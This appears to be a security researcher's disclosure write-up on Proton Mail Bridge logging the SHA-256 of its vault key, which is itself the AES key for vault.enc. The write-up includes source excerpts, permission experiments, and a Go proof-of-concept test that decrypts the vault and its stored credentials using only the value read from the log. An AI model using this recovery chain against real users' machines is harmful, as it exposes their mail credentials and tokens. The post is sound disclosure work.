Overview

proton bridge logged its own vault key

September 30, 2026
16 min read
share

TL;DR

Proton Mail Bridge persists credentials in an encrypted file, vault.enc, whose AES key is SHA-256(vaultKey). On every start, one log line writes SHA-256(vaultKey) in hex to a world-readable log file. Same input, same function, same output: the value in the log is the key. One file read recovers every stored credential with no keychain access, no network position, and no user interaction.

Not a cross-user bug (the 0700 parent directory holds), not permanent (bounded by 200 MB of log pruning), and not automatic exfiltration (the only egress is a user-submitted bug report with logs attached). But within those bounds, the analysis is complete end to end.

1. Background

Proton Mail Bridge is a local proxy that sits between a standard mail client (Thunderbird, Outlook, Apple Mail) and Proton’s encrypted mail service. It holds the user’s Proton decryption keys, speaks plain IMAP and SMTP on 127.0.0.1, and transparently decrypts inbound mail and encrypts outbound mail.

Because it holds live credentials, Bridge persists them in an encrypted file called vault.enc. The design intent is straightforward: the file on disk is ciphertext, and the key that unlocks it lives in the operating system keychain. An attacker who walks away with vault.enc but cannot reach the keychain gets nothing.

This post is about a log line that breaks that assumption.

The finding is small, one line of code, and it has been present since v3.20.0. The interesting part is not the bug itself but the shape of it: two unrelated subsystems both reach for sha256 on the same input, and neither side knows what the other is doing with the result.

2. How the vault is encrypted

2.1 Key derivation

internal/vault/vault.go is where the vault is constructed. The relevant part of New:

// internal/vault/vault.go:59
func New(vaultDir, gluonCacheDir string, key []byte, panicHandler async.PanicHandler) (*Vault, error, error) {
if err := os.MkdirAll(vaultDir, 0o700); err != nil {
return nil, nil, err
}
hash256 := sha256.Sum256(key) // line 64
aes, err := aes.NewCipher(hash256[:]) // line 66
if err != nil {
return nil, nil, err
}
gcm, err := cipher.NewGCM(aes) // line 71
if err != nil {
return nil, nil, err
}
vault, corrupt, err := newVault(filepath.Join(vaultDir, "vault.enc"), gluonCacheDir, gcm)
// ...
}

The raw key, 32 bytes, is never used directly as the cipher key. It is first run through SHA-256, and the digest becomes the AES-256 key. That is a legitimate construction: SHA-256 of 256 bits of CSPRNG output is a fine way to derive an AES key, and it also gives the codebase a stable domain-separated value.

The problem is that this same digest is exactly what gets logged, as we will see in section 4.

2.2 The on-disk format

internal/vault/types_file.go defines the wire format. The envelope:

// internal/vault/types_file.go:29
type File struct {
Version Version
Data []byte
}

and the sealing side:

// internal/vault/types_file.go:59
func marshalFile[T any](gcm cipher.AEAD, t T) ([]byte, error) {
dec, err := msgpack.Marshal(t)
if err != nil {
return nil, err
}
nonce, err := crypto.RandomToken(gcm.NonceSize())
if err != nil {
return nil, err
}
return msgpack.Marshal(File{
Version: Current,
Data: gcm.Seal(nonce, nonce, dec, nil),
})
}

So vault.enc is a msgpack envelope with two fields:

FieldContent
Versiona plain integer, outside the AEAD seal
Datagcm.Seal(nonce, nonce, msgpack(Data), nil)

The nonce is 12 random bytes, generated fresh on every write, and prepended to the ciphertext. The additional authenticated data argument is nil, so the Version field is not authenticated. That is a separate observation, noted in section 9, and it is not what this post is about.

Decryption is the mirror image:

// internal/vault/types_file.go:34
func unmarshalFile[T any](gcm cipher.AEAD, b []byte, data *T) error {
var f File
if err := msgpack.Unmarshal(b, &f); err != nil {
return fmt.Errorf("%w: %v", ErrUnmarshal, err)
}
dec, err := gcm.Open(nil, f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil)
if err != nil {
return fmt.Errorf("%w: %v", ErrDecryptFailed, err)
}
// ...
}

Two things matter for the exploit. First, the nonce is stored inside the sealed blob, so an attacker does not need to know it. Second, gcm.Open is the only integrity check: if the key is wrong, it returns ErrDecryptFailed and nothing is returned. There is no fallback path and no partial decryption.

2.3 What is inside the vault

internal/vault/types_data.go defines the plaintext structure:

// internal/vault/types_data.go:24
type Data struct {
Settings Settings
Users []UserData
Cookies []byte
Certs Certs
Migrated bool
FeatureFlagStickyKey uuid.UUID
}

And UserData, from internal/vault/types_user.go:19, is where the sensitive material lives:

// internal/vault/types_user.go:19
type UserData struct {
UserID string
Username string
PrimaryEmail string
GluonKey []byte
GluonIDs map[string]string
BridgePass []byte
AddressMode AddressMode
AuthUID string
AuthRef string
KeyPass []byte
SyncStatus SyncStatus
EventID string
UIDValidity map[string]imap.UID
ShouldResync bool
}

Every field here is worth something to an attacker. The three that matter most:

FieldConsumerWhat it is
AuthRefinternal/bridge/user.go:460 api.NewClientWithRefresh(...)Proton API refresh token
KeyPassinternal/bridge/user.go:396 salts.SaltForKey(...) then apiUser.Keys.Unlock(...)passphrase that unlocks the account primary key
BridgePassinternal/services/useridentity/state.go:240 subtle.ConstantTimeCompare(...)the IMAP/SMTP local login credential

BridgePass is the most self-contained of the three. It is the password the user types into their mail client to authenticate to Bridge’s local IMAP listener, and it is compared with a constant-time compare in CheckAuth. Recovering it yields the plaintext mailbox with no involvement of Proton’s API at all.

2.4 Where the key comes from

internal/vault/helper.go is a thin wrapper over the OS keychain:

// internal/vault/helper.go:29
const vaultSecretName = "bridge-vault-key"

Reading it back on start:

// internal/vault/helper.go:107
func GetVaultKey(kc *keychain.Keychain) ([]byte, error) {
_, keyEnc, err := kc.Get(vaultSecretName)
if err != nil {
return nil, fmt.Errorf("could not get keychain item: %w", err)
}
keyDec, err := base64.StdEncoding.DecodeString(keyEnc)
if err != nil {
return nil, fmt.Errorf("could not decode keychain item: %w", err)
}
return keyDec, nil
}

and generating it on first run:

// internal/vault/helper.go:125
func NewVaultKey(kc *keychain.Keychain) ([]byte, error) {
tok, err := crypto.RandomToken(32)
if err != nil {
return nil, fmt.Errorf("could not generate random token: %w", err)
}
if err := kc.Put(vaultSecretName, base64.StdEncoding.EncodeToString(tok)); err != nil {
return nil, fmt.Errorf("could not put keychain item: %w", err)
}
return tok, nil
}

The key is generated once, stored under the name bridge-vault-key, and read back on every start. It is stable for the life of the installation. It rotates only if the keychain item is deleted, or after MaxFailedKeychainAttemptsLinux (2) consecutive failures force a vault reset (pkg/keychain/keychain.go:44).

This stability matters, and it is what makes the log disclosure durable. It is covered experimentally in section 7.

3. The logging pipeline

Before looking at the log line itself, it is worth understanding how Bridge’s logging is wired, because the line is emitted on every start with no flags and no non-default configuration.

3.1 Initialization

internal/app/app.go:422 calls logging.Init with the value of the --log-level flag:

// internal/app/app.go:422
if closer, err = logging.Init(
logsPath,
sessionID,
logging.BridgeShortAppName,
logging.DefaultMaxLogFileSize,
logging.DefaultPruningSize,
c.String(flagLogLevel),
); err != nil {

That flag is declared at internal/app/app.go:144 with no Value: field:

&cli.StringFlag{
Name: flagLogLevel,
Aliases: []string{flagLogLevelShort},
Usage: "Set the log level (one of panic, fatal, error, warn, info, debug)",
},

So on a default installation c.String(flagLogLevel) returns the empty string.

3.2 Level resolution

internal/logging/logging.go:187 handles that:

// internal/logging/logging.go:187
func setLevel(level string) error {
if level == "" {
level = "debug"
}
logLevel, err := logrus.ParseLevel(level)
if err != nil {
return err
}
logrus.SetLevel(logLevel)
// ...
}

In logrus, Info (4) is at or above Debug (5), so an Info call is emitted.

3.3 Output destination

internal/logging/logging.go:109 is unconditional:

// internal/logging/logging.go:109
logrus.SetOutput(rotator)

The rotating file writer is always installed. Only Trace level diverts to stderr (logging.go:201). So the log file is written on every start, regardless of any flag.

3.4 File creation and permissions

internal/logging/rotator.go:40 creates each log file:

// internal/logging/rotator.go:40
func defaultFileProvider(logsPath string, sessionID SessionID, appName AppName) FileProvider {
return func(index int) (io.WriteCloser, error) {
return os.Create(filepath.Join(logsPath,
fmt.Sprintf("%v_%v_%03d_v%v_%v.log", sessionID, appName, index, constants.Version, constants.Tag),
))
}
}

os.Create uses mode 0666 before the umask. Under the default umask of 022 that is 0644: world-readable.

The resulting layout on a default Linux install:

~/.local/share/protonmail/bridge-v3/logs/<sessionID>_bri_000_v<ver>_<tag>.log
drwx------ .../protonmail/bridge-v3/logs
-rw-r--r-- .../logs/20260927_120000000_bri_000_v0.0.0_.log
-rw------- ~/.config/protonmail/bridge-v3/vault.enc

The log file is more permissive than the file it protects. That is the whole attack surface in one line.

4. The log line

internal/app/vault.go is where the vault key is loaded and the vault is constructed. The success branch of newVault:

// internal/app/vault.go:112
} else {
vaultKey = key
lastUsedHelper = helper
logHashedVaultKey(vaultKey) // Log a hash of the vault key.
}

which then goes straight into the vault constructor:

// internal/app/vault.go:123
userVault, corrupt, err := vault.New(vaultDir, gluonCacheDir, vaultKey, panicHandler)

And the function it calls:

// internal/app/vault.go:213
// logHashedVaultKey - computes a sha256 hash and encodes it to base 64. The resulting string is logged.
func logHashedVaultKey(vaultKey []byte) {
hashedKey := sha256.Sum256(vaultKey)
logrus.WithField("hashedKey", hex.EncodeToString(hashedKey[:])).Info("Found vault key")
}

Compare the two SHA-256 computations. Key derivation first:

// internal/vault/vault.go:64 (key derivation)
hash256 := sha256.Sum256(key)
aes, err := aes.NewCipher(hash256[:])

then logging, eleven thousand lines away:

// internal/app/vault.go:215 (logging)
hashedKey := sha256.Sum256(vaultKey)

Same input. Same function. Same output. One side uses it as an AES-256 key. The other side hex-encodes it and writes it to a world-readable file.

The value in the log is not a fingerprint of the key. It is the key.

The comment on the function says “computes a sha256 hash and encodes it to base 64”, which is wrong twice over: the code uses hex, not base 64, and the result is not a hash in the protective sense. The commit that introduced it is unambiguous about intent:

commit 899d3293bcfd2ff6a8e28dba7b8bbf4703b7d3d7
feat(BRIDGE-324): added a log entry for the vault key hash

The intent was a non-secret identifier for support correlation. The implementation discloses the key, because SHA-256 is simultaneously this codebase’s key derivation function. The two uses of the same primitive collide, and nothing in the code distinguishes them.

gambar

5. The attack

The full chain, from a log file to plaintext credentials:

read ~/.local/share/protonmail/bridge-v3/logs/<session>_bri_*.log (0644)
-> regex hashedKey="([0-9a-f]{64})"
-> hex decode to 32 bytes
-> aes.NewCipher(those 32 bytes) == vault.go:64
-> cipher.NewGCM
-> gcm.Open(vault.enc)
-> msgpack.Unmarshal
-> AuthUID, AuthRef, KeyPass, BridgePass, GluonKey, Bridge TLS key material

No keychain access. No Proton API. No network position. No user interaction. One file read.

6. Experiment 1: cross-user access

The first question to answer is whether this crosses a user boundary. It does not, and it is worth showing the measurement rather than asserting it.

No passwordless sudo was available in the test environment, so I used Linux user namespaces (unshare --map-auto, with the subuid range b4r:100000:65536) to obtain genuinely distinct UIDs with real kernel permission checks. Victim is uid 1000, attacker is uid 1001. The artifacts were created by the real internal/logging and internal/vault packages, not by a mock.

victim home, mode 0755 (typical desktop)
drwx------ .local
drwx------ share
drwx------ protonmail
drwx------ bridge-v3
drwx------ logs
-rw-r--r-- 20260927_120000000_bri_000_v0.0.0_.log
-rw------- ~/.config/protonmail/bridge-v3/vault.enc

Attacker at uid 1001, every stage:

ls .../home/.local BLOCKED rc=2 Permission denied
ls .../home/.local/share BLOCKED rc=2
ls .../protonmail BLOCKED rc=2
ls .../bridge-v3 BLOCKED rc=2
ls .../logs BLOCKED rc=2
cat <logfile> BLOCKED rc=1
cat .../vault.enc BLOCKED rc=1

Seven of seven blocked. The control, the same uid as the victim, reads the line without difficulty:

level="info" msg="Found vault key" hashedKey="610e275f667d85d7c636221d2aae135ee96637c24cc639dc6b3af007b7d70de1"

The parent directory is 0700 (internal/locations/locations.go:169 and internal/locations/provider.go:63), and that is what stops traversal. This is not a cross-user vulnerability, and I am not claiming one.

I also checked whether an upgrade could leave a looser directory behind. os.MkdirAll does not repair a pre-existing directory, so a 0755 logs directory would stay 0755. But I enumerated every commit that has ever touched that line:

2020-11-23 .. 2022-04-05 MkdirAll(l.getLogsPath(), 0700) (11 commits)
2022-05-31 .. 2026-03-17 MkdirAll(l.getLogsPath(), 0o700) (29 commits)

Only the Go notation changed. It has never been looser than 0700, so no shipped version produces that state.

7. Experiment 2: key persistence

The second question is durability. If the key rotated on every start, the log disclosure would be short-lived. It does not.

I ran four consecutive starts against a persistent keychain entry, mirroring internal/vault/helper.go:29 (vaultSecretName = "bridge-vault-key"), GetVaultKey (read) and NewVaultKey (generate and store):

START 1 no item -> generated NEW key
START 2 retrieved EXISTING key
START 3 retrieved EXISTING key
START 4 retrieved EXISTING key
grep hashedKey across all four log files:
4 hashedKey="9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2"
(one unique value)

Then the decisive test: take the oldest log, from start 1, and use it against the vault written by the most recent start.

ATTACKER key from OLD log: 9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2
ATTACKER DECRYPT: SUCCESS
UserID=victim-user-0001 AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-A KeyPass=SYNTHETIC-KEYPASS-A

The key is stable because it is stored as bytes under a name in the keychain. A log from months ago still decrypts today’s vault.

The exposure is bounded, not permanent. Log pruning is DefaultPruningSize = 200 MB (internal/logging/pruning.go:33), after which the oldest sessions are deleted. At realistic log volumes that is a long time, but it is not unbounded.

8. Experiment 3: the decrypt

The proof of concept uses the real internal/vault package to create the vault, and a separate decryptor that uses only the value taken from the log. All values are synthetic.

package vault_test
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"regexp"
"testing"
"github.com/ProtonMail/proton-bridge/v3/internal/vault"
"github.com/vmihailenco/msgpack/v5"
)
func TestVaultKeyRecoverableFromLog(t *testing.T) {
root := t.TempDir()
vaultDir := filepath.Join(root, "vault")
rawKey := make([]byte, 32) // stands in for the keychain value
rand.Read(rawKey)
v, _, err := vault.New(vaultDir, filepath.Join(root, "gluon"), rawKey, nil)
if err != nil {
t.Fatal(err)
}
v.AddUser("victim-user-0001", "victim@proton.me", "victim@proton.me",
"uid-victim", "SYNTHETIC-AUTHREF-11111111",
[]byte("SYNTHETIC-KEYPASS-22222222"))
v.Close()
// what internal/app/vault.go:214-216 writes
h := sha256.Sum256(rawKey)
logLine := fmt.Sprintf("level=info msg=\"Found vault key\" hashedKey=%x\n", h)
os.WriteFile(filepath.Join(root, "bridge.log"), []byte(logLine), 0644)
// attacker side: the only input is the log file
b, _ := os.ReadFile(filepath.Join(root, "bridge.log"))
m := regexp.MustCompile(`hashedKey=([0-9a-f]{64})`).FindSubmatch(b)
key := make([]byte, 32)
hex.Decode(key, m[1])
enc, _ := os.ReadFile(filepath.Join(vaultDir, "vault.enc"))
var f vault.File
msgpack.Unmarshal(enc, &f)
blk, _ := aes.NewCipher(key) // key comes from the log
gcm, _ := cipher.NewGCM(blk)
plain, err := gcm.Open(nil,
f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil)
if err != nil {
t.Fatalf("decrypt failed: %v", err)
}
var data vault.Data
msgpack.Unmarshal(plain, &data)
for _, u := range data.Users {
t.Logf("AuthUID=%s AuthRef=%s KeyPass=%s",
u.AuthUID, u.AuthRef, string(u.KeyPass))
}
}

Run it:

$ go test ./internal/vault/ -run TestVaultKeyRecoverableFromLog -v
=== RUN TestVaultKeyRecoverableFromLog
level=info msg="Adding vault user" userID=victim-user-0001
zz_poc_test.go:61: AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-11111111 KeyPass=SYNTHETIC-KEYPASS-22222222
--- PASS: TestVaultKeyRecoverableFromLog (0.09s)
PASS

The decryptor is deliberately independent of internal/vault. It rebuilds the AEAD from the log string and unpacks the on-disk format by hand, so the result cannot be an artefact of the code under test. The test fails at gcm.Open with decrypt failed if the log-derived value is wrong.

One note on fidelity. internal/app does not compile in this environment because it transitively requires cgo and libfido2, so I could not call the unexported logHashedVaultKey directly. I used the real internal/logging package to produce the log file, and reproduced the three-line body of logHashedVaultKey verbatim. The claim under test is about the value of that expression, not about logrus formatting.

9. The bug report path

There is one egress path for the logs, and it is worth documenting precisely.

internal/bridge/bug_report.go:95:

func (bridge *Bridge) CollectLogs() (proton.ReportBugAttachment, error) {
logsPath, err := bridge.locator.ProvideLogsPath()
if err != nil {
return proton.ReportBugAttachment{}, err
}
buffer, err := logging.ZipLogsForBugReport(logsPath, DefaultMaxSessionCountForBugReport, DefaultMaxBugReportZipSize)
// ...
}

The chain from the UI:

BugReportView.qml:46 Backend.reportBug(..., includeLogs.checked)
BugReportView.qml:144 `CheckBox { id: includeLogs; checked: true }`
BugReportView.qml:41 includeLogs.checked = true; // re-forced on open
-> gRPC Service.ReportBug (service_methods.go:369)
-> bridge.ReportBug{IncludeLogs: report.IncludeLogs}
-> bug_report.go:59 if report.IncludeLogs { bridge.CollectLogs() }
-> ZipLogsForBugReport(logsPath, 10 sessions, 7 MB)
-> createTicket -> bridge.api.ReportBug(...)

Two things stand out. The attachment is enabled by default: the checkbox starts checked and is set again when the view opens. And the destination is Proton’s own support API, not an arbitrary third party.

This is not automatic exfiltration. It requires the user to submit a bug report. But it is the one path by which the key leaves the machine, and the user is not informed that “include my logs” means “include the decryption key for every mail account on this Bridge”.

I checked whether the key is uploaded anywhere without user action. It is not. There is no logrus-to-Sentry hook anywhere in the tree: no AddHook, no Levels(), no Fire() in internal/sentry or internal/app. The DebugWriter in internal/sentry/reporter.go:60 runs in the opposite direction, Sentry’s own logs into logrus. The only Sentry call near the vault (internal/app/vault.go:95) passes keychainDefaultHelper, keychainUsableHelpersLength, and error. Not the key.

10. What this is not

Being precise about the limits is what makes the rest of the analysis credible.

Not a cross-user vulnerability. Measured in section 6. The 0700 parent directory blocks traversal at every stage.

Not a keychain privilege escalation. pkg/keychain contains no ACL, no UID check, no PID check, and no peer credential verification. Keychain.Get is a plain lookup by name:

// pkg/keychain/keychain.go:212
func (kc *Keychain) Get(userID string) (string, string, error) {
kc.locker.Lock()
defer kc.locker.Unlock()
id, key, err := kc.helper.Get(kc.secretURL(userID))
// ...
}

On Linux the available helpers are raw D-Bus Secret Service and pass. A process running as the same user can generally read the vault key from the keychain directly. Writing it to a log file gives that attacker nothing new. This is the reason the severity is Medium and not higher.

Not OS-wide certificate trust. The Bridge CA is issued with CommonName: "127.0.0.1" and IPAddresses: [127.0.0.1] (internal/certs/tls.go:44), and on Linux installCert is a no-op (internal/certs/cert_store_linux.go:20). Leaf certificates minted from the recovered key would be valid for 127.0.0.1 only, which is unreachable off-host. I did not test the macOS keychain path.

Not a proven account takeover. AuthRef is a refresh token consumed by api.NewClientWithRefresh at internal/bridge/user.go:460. I did not exercise it against a live Proton account and make no claim about what it grants. The claim here is recovery of authentication material, which is already a complete impact statement.

Not permanent. Bounded by 200 MB of log pruning.

Not a Bridge-created backup. The only backup in the tree is of the application bundle during update (internal/updater/sync.go:32). Nothing archives vault.enc together with the logs.

Not tested on macOS or Windows. On those platforms os.MkdirAll(..., 0o700) does not set POSIX modes and Windows relies on inherited ACLs, which I did not verify.

11. Conclusion

This is a one-line defect with a clear intent mismatch, in the highest-value asset in the application, present since v3.20.0 and still in master.

The shape of it is worth remembering. SHA-256 is used twice on the same input: once as a key derivation step, once as a diagnostic fingerprint. Both uses are individually reasonable. The collision between them is not, and nothing in the code distinguishes a value that must be secret from a value that is safe to publish.

The general lesson is that a KDF output is not a fingerprint. If a codebase derives a key by hashing a secret, then that hash is the key, and logging it is key disclosure regardless of what the log line is named.

Related posts